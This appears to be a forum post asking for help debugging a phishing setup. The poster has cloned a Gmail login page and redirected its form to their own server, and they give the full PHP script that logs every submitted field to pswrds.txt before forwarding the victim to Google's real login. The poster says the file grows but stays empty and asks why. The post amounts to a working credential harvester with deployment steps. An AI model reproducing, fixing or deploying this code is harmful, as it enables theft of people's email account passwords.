Here is the HTML file attached (Gmail):
Now, I have replaced action="https://www.google.com/accounts/ServiceLoginAuth" with action="http://mysite urlhere/login.php" and saved the file.
here is the login.php file contents
<?php
header("Location: https://www.google.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
also, created a blank pswrds.txt file and uploaded index.html, login.php and pswrds.txt files to my Cpanel file manager.
I am able to open mysite.com/login.php and after entering username and pwd, it is redirecting to https://www.google.com/accounts/ServiceLoginAuth . But, the problem here is, the pswrds.txt file size is increasing by 2 bytes after every time I submit the details in username and password. But the pswrds.txt file is empty. size is increasing and no data is visible.
Thank you.
[attachment deleted by admin]